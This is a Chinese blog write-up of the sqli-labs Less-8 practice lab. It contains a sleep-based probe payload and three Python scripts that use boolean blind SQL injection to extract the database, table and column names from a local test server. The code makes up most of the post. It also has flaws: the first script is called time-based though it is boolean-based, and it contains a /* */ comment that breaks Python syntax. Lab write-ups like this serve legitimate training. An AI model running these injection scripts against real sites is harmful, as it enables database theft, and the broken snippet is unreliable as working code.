sqlilabs第八关

?id=1' and sleep(2)--+

发现页面存在注点,使用时间盲注脚本进行注入---

import requests
 
 
def inject_database(url):
    name = ''   #name用于存储猜测出的数据库名称 
    for i in range(1, 20):  # 假设数据库名称长度不超过20
        low = 48  # '0'
        high = 122  # 'z'
        middle = (low + high) // 2   /*low, high, middle 用于二分查找(内层循环使用二分查找法猜测每个字符的ASCII值)*/
        while low < high:
            #构造Payload: payload是SQL注入的有效载荷,尝试猜测当前字符的ASCII值
            payload = "1' and ascii(substr(database(),%d,1))>%d-- " % (i, middle)
            params = {"id": payload}
            r = requests.get(url, params=params) 
            # 判断注入是否成功,依据靶场的返回信息
            if 'You are in' in r.text:  # 只检查包含 "You are in" 的内容,表示成功
                low = middle + 1
            else:
                high = middle
            middle = (low + high) // 2 
        # 只拼接有效字符,跳过空格(ASCII 32)和其他非打印字符
        if middle > 32:  # 跳过空格和不可打印字符
            name += chr(middle)
        print(f"Current database name: {name}")
        low = 48
        high = 122
        middle = (low + high) // 2
 
    print(f"Final database name: {name}")
 
 
if __name__ == "__main__":
    url = "http://127.0.0.1/sqlilabs7/Less-8/index.php"
    inject_database(url)

用一个布尔盲注攻击,从数据库中提取表名

-循环遍历表名的每个字符

-二分查找法:通过ASCII码范围(48到122)进行二分查找,确定每个字符的值

-构造SQL注入Payload:利用substr函数和ascii函数逐字符比较表名的ASCII值

-发送请求并判断结果

-跳过空格和非打印字符:只拼接有效的字符

import requests
 
def inject_table_name(url, database_name):
    table_name = ''
    for i in range(1, 20):  
        low = 48  # '0'
        high = 122  # 'z'
        middle = (low + high) // 2
        while low < high:
            # payload
            payload = f"1' and ascii(substr((select table_name from information_schema.tables where table_schema='{database_name}' limit 0,1),{i},1))>{middle}-- "
            params = {"id": payload}
            r = requests.get(url, params=params)
 
            if 'You are in' in r.text:  
                low = middle + 1
            else:
                high = middle
            middle = (low + high) // 2
        if middle > 32:  # 跳过空格和不可打印字符
            table_name += chr(middle)

        print(table_name)
        low = 48
        high = 122
        middle = (low + high) // 2
 
    print(f"Final table name: {table_name}")
 
if __name__ == "__main__":
    url = "http://127.0.0.1/sqlilabs7/Less-8/index.php"  
    database_name = "security"  # 目标数据库名称
    inject_table_name(url, database_name)

通过payload猜测数据库表的列名

import requests
 
def inject_column_name(url, database_name, table_name):
    column_name = ''
    for i in range(1, 20): 
        low = 48  # '0'
        high = 122  # 'z'
        middle = (low + high) // 2
        while low < high:
            payload = f"1' and ascii(substr((select column_name from information_schema.columns where table_schema='{database_name}' and table_name='{table_name}' limit 0,1),{i},1))>{middle}-- "
            params = {"id": payload}
            r = requests.get(url, params=params)
            if 'You are in' in r.text:  
                low = middle + 1
            else:
                high = middle
            middle = (low + high) // 2
 
        if middle > 32: 
            column_name += chr(middle)
 
        print(column_name)
 
        low = 48
        high = 122
        middle = (low + high) // 2
 
    print(f"Final column name: {column_name}")
 
if __name__ == "__main__":
    url = "http://127.0.0.1/sqlilabs7/Less-8/index.php"  
    database_name = "security"  
    table_name = "users"  # 目标表名
    inject_column_name(url, database_name, table_name)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值